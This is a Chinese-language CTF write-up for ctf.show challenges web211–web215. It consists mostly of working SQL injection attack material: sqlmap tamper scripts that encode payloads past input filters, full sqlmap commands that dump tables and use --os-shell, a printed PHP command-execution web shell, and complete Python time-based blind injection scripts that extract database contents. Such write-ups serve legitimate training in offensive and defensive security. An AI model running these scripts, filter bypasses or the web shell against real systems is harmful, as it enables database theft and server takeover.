目录
1、web211
将空格过滤和解密操作合在了一起,那么我们就两个脚本一起用
先回顾一下上一题我们写的解密和反转的 tamper:
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = base64.b64encode(base64.b64encode(retVal[::-1].encode())[::-1]).decode()
return retVal
结合 space2comment.py 一起使用:
注意顺序,space2comment.py 在前,查表
python sqlmap.py -u http://3f66a612-91a6-420d-8411-822e7d4017ee.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://3f66a612-91a6-420d-8411-822e7d4017ee.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=25l4jdvra9m8qjg9bitju3ur3a" --safe-url="https://3f66a612-91a6-420d-8411-822e7d4017ee.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables --batch --tamper space2comment.py,myon/strrev+base64.py
查列名:
python sqlmap.py -u http://3f66a612-91a6-420d-8411-822e7d4017ee.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://3f66a612-91a6-420d-8411-822e7d4017ee.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=25l4jdvra9m8qjg9bitju3ur3a" --safe-url="https://3f66a612-91a6-420d-8411-822e7d4017ee.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavia --columns --batch --tamper space2comment.py,myon/strrev+base64.py
查字段:
python sqlmap.py -u http://3f66a612-91a6-420d-8411-822e7d4017ee.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://3f66a612-91a6-420d-8411-822e7d4017ee.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=25l4jdvra9m8qjg9bitju3ur3a" --safe-url="https://3f66a612-91a6-420d-8411-822e7d4017ee.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavia -C ctfshow_flagxxa --dump --batch --tamper space2comment.py,myon/strrev+base64.py
拿到 flag:ctfshow{a3872d25-98b9-4aac-99f8-b55023ca6b45}
2、web212
这次过滤了空格和星号,那么用我们前面用过的 %09,即 chr(0x09)。
除了将两个脚本结合使用,我们也可以直接将替换的操作加到我们的 payload 里面,添加后的 tamper 如下:
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = retVal.replace(' ',chr(0x09))
retVal = base64.b64encode(base64.b64encode(retVal[::-1].encode())[::-1]).decode()
return retVal
查表:
python sqlmap.py -u http://74066a0c-960f-40c1-b938-1bad8cd0f0ec.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://74066a0c-960f-40c1-b938-1bad8cd0f0ec.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=rog1ioc3ifv7l9ad06mali8p19" --safe-url="https://74066a0c-960f-40c1-b938-1bad8cd0f0ec.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables --batch --tamper myon/test.py
查列:
python sqlmap.py -u http://74066a0c-960f-40c1-b938-1bad8cd0f0ec.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://74066a0c-960f-40c1-b938-1bad8cd0f0ec.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=rog1ioc3ifv7l9ad06mali8p19" --safe-url="https://74066a0c-960f-40c1-b938-1bad8cd0f0ec.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavis --columns --batch --tamper myon/test.py
查字段:
python sqlmap.py -u http://74066a0c-960f-40c1-b938-1bad8cd0f0ec.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://74066a0c-960f-40c1-b938-1bad8cd0f0ec.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=rog1ioc3ifv7l9ad06mali8p19" --safe-url="https://74066a0c-960f-40c1-b938-1bad8cd0f0ec.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavis -C ctfshow_flagxsa --dump --batch --tamper myon/test.py
拿到 flag:ctfshow{0881c54a-06e9-4061-ba10-96e46ef79f6b}
3、web213
练习使用 --os-shell 一键 getshell
返回逻辑和上一道题一样,因此我们的绕过脚本还是采用上一题的 test.py 。
追加 --os-shell 参数试试:
python sqlmap.py -u http://0ae41b8d-c9ff-4444-8dbb-f93485fc0811.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://0ae41b8d-c9ff-4444-8dbb-f93485fc0811.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=c477m0r86t0cucvvesir26l5al" --safe-url="https://0ae41b8d-c9ff-4444-8dbb-f93485fc0811.challenge.ctf.show/api/getToken.php" --safe-freq=1 --batch --tamper myon/test.py --os-shell
反弹了一个 shell 给我们,可以直接进行命令执行
网站路径下新增了两个 php 文件:tmpbhsps.php 和 tmpustcn.php
访问 tmpustcn.php,发现是一个文件上传界面:
再看一下 tmpbhsps.php 的内容:
<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1
";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w
看起来像是个木马后门,其实就是供我们进行命令执行的 php 文件。
对于 mysql 数据库,sqlmap 的 --os-shell 参数就是写入两个 php 文件,其中一个是提供文件上传功能的文件,之后再上传一个是用于进行命令执行的文件,也就是最后反弹给我们的 shell。
当然,对于 --os-shell 能利用也是有一定条件的,一般需要是高权限数据库用户,并且需要知道网站的绝对路径,具有写入文件的权限,还有一些其他条件。
这里 cd 不了,那么看一下根目录下的文件,发现存在 ctfshow_flag,使用 tac 读取:
tac /ctfshow_flag
拿到 flag:ctfshow{7ab7a18b-88ea-4687-a9c2-5178ea4a55fc}
4、web214
开始基于时间盲注
没有找到注入点,看了 b 站视频,是抓首页的包,但是我实际抓出来只有一个 get 请求的包:
不管了,直接看 wp ,它这里的注入点是 ip 和 debug,将 debug 置 1,在 ip 进行注入,采用 post 请求 /api/index.php:
可以看到进行了查询
题目都说了是时间盲注,我们测一下:
debug=1&ip=sleep(5)
观察页面确实存在延时
开始写脚本前,我们再简单测一下 payload 是否可行:
猜测数据库名的第一个字符是 'a'
debug=1&ip=if(substr(database(),1,1)='a',sleep(3),0)
执行并未发现延时现象
猜测数据库名第一个字符是 'c'
debug=1&ip=if(substr(database(),1,1)='c',sleep(3),0)
可以明显看出存在 3s 的延时
接下来我们就可以写 python 脚本了:
import requests
import string
url = 'http://9b7c4d89-ee01-402c-abc2-43faf75b8926.challenge.ctf.show/api/index.php'
dic = string.digits + 'abcdefctshow{-}_'
out = ''
for j in range(1, 50):
for k in dic:
payload = {'debug':'1','ip':f"if(substr(database(),{j},1)='{k}',sleep(3),0)"}
re = requests.post(url, data=payload)
if re.elapsed.total_seconds() > 2:
out += k
break
print(out)
为了节省时间,字典我规避掉了一些不可能的字符 。
这里没有判断是否猜到了最后一位,不过我们也可以看出来的,数据库名:ctfshow_web
接下来我们猜表名:
payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0)"}
但是结果看起来不完整
才意识到那个字典的内容是针对 flag 来的,但是表名和列名可能还包含了其他字符,因此我们将字典补全为所有的小写字母:
dic = string.digits + string.ascii_lowercase + '{}-_'
再跑一次:
这次没有问题,表名为:ctfshow_flagx
我们也可以用 group_concat 不用 limit:
payload = {'debug': '1','ip': f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',sleep(3),0)"}
这个出来的内容更多, 当然,这个也是可以通过控制 limit 的参数来跑其他行的内容。
但是都需要注意一个问题,就是 payload 里这个 select 查询语句的结果,这个整体需要用括号包裹起来,作为 substr 函数的第一个参数,试了下没有括号包裹是不行的。
我们继续猜列名:
payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagx'), {j}, 1) = '{k}',sleep(3),0)"}
结果没有进行分隔,不过我们也可以看出是:id,flaga,info
最后直接查这个 flaga:
payload = {'debug': '1','ip': f"if(substr((select flaga from ctfshow_flagx), {j}, 1) = '{k}',sleep(3),0)"}
不知道为啥跑出了一个 6 :ctfs6ow{a0f08049-097c-4f50-9795-73baaac40278}
将 6 替换为 h,得到最终 flag:ctfshow{a0f08049-097c-4f50-9795-73baaac40278}
于是又再跑了一次,这回正常了,可能是猜到 6 的时候请求响应还是耗时超过了 2s,以至于没有去判断字典后面的 h 而造成的误判。
附上完整的脚本:
# @author:Myon
# @time:20240811
import requests
import string
url = 'http://9b7c4d89-ee01-402c-abc2-43faf75b8926.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''
for j in range(1, 50):
for k in dic:
# payload = {'debug':'1','ip':f"if(substr(database(),{j},1)='{k}',sleep(3),0)"} # 猜数据库名
# payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0)"} # 猜表名
# payload = {'debug': '1','ip': f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',sleep(3),0)"} # 猜表名
# payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagx'), {j}, 1) = '{k}',sleep(3),0)"} # 猜列名
payload = {'debug': '1', 'ip': f"if(substr((select flaga from ctfshow_flagx), {j}, 1) = '{k}',sleep(3),0)"} # 跑flag
re = requests.post(url, data=payload)
if re.elapsed.total_seconds() > 2:
out += k
break
print(out)
5、web215
和上一题一样,只是需要将单引号闭合以及后面注释掉即可,直接在上一题的脚本上改:
跑表名
payload = {'debug': '1', 'ip': f"0'or if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0)#"}
为 ctfshow_flagxc
跑列名:
payload = {'debug': '1','ip': f"0'or if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxc'), {j}, 1) = '{k}',sleep(3),0)#"} # 猜列名
id,flagaa,info
跑具体字段信息:
payload = {'debug': '1', 'ip': f"0'or if(substr((select flagaa from ctfshow_flagxc), {j}, 1) = '{k}',sleep(3),0)#"} # 跑flag
拿到 flag:ctfshow{d07c0639-a130-491e-b3da-d5f96f0ea214}
完整脚本:
# @author:Myon
# @time:20240812
import requests
import string
url = 'http://99b9eb81-d4cc-400b-9927-942016c1a686.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''
for j in range(1, 50):
for k in dic:
# payload = {'debug':'1','ip':f"0'or if(substr(database(),{j},1)='{k}',sleep(3),0)#"} # 猜数据库名
# payload = {'debug': '1', 'ip': f"0'or if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0)#"} # 猜表名
# payload = {'debug': '1','ip': f"0'or if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',sleep(3),0)#"} # 猜表名
# payload = {'debug': '1','ip': f"0'or if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxc'), {j}, 1) = '{k}',sleep(3),0)#"} # 猜列名
payload = {'debug': '1', 'ip': f"0'or if(substr((select flagaa from ctfshow_flagxc), {j}, 1) = '{k}',sleep(3),0)#"} # 跑flag
re = requests.post(url, data=payload)
if re.elapsed.total_seconds() > 2:
out += k
break
print(out)